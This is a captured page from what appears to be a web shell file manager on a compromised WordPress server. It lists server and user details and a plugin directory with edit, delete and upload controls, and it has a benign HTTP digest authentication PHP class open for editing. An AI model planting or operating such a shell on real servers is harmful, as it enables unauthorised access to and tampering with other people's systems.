[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
intervention
/
httpauth
/
src
/
Vault
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 BasicVault.php
855 B
SET
[ EDIT ]
|
[ DEL ]
📄 DigestVault.php
1,673 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: DigestVault.php
<?php namespace Intervention\HttpAuth\Vault; use Intervention\HttpAuth\AbstractVault; use Intervention\HttpAuth\Directive; use Intervention\HttpAuth\Key; class DigestVault extends AbstractVault { /** * Determine if given key is able to unlock (access) vault. * * @param Key $key * @return bool */ public function unlocksWithKey(Key $key): bool { $username_match = $key->getUsername() == $this->getUsername(); $hash_match = $key->getResponse() == $this->getKeyHash($key); return $username_match && $hash_match; } /** * Build and return hash from given key/vault * * @param Key $key * @return string */ private function getKeyHash(Key $key): string { return md5(implode(':', [ md5(sprintf('%s:%s:%s', $key->getUsername(), $this->getRealm(), $this->getPassword())), $key->getNonce(), $key->getNc(), $key->getCnonce(), $key->getQop(), md5(sprintf('%s:%s', $this->getRequestMethod(), $key->getUri())), ])); } /** * Return HTTP request method * * @return string */ private function getRequestMethod() { return isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; } /** * Return auth directive * * @return Directive */ public function getDirective(): Directive { return new Directive('digest', [ 'realm' => $this->getRealm(), 'qop' => 'auth', 'nonce' => uniqid(), 'opaque' => md5($this->getRealm()), ]); } }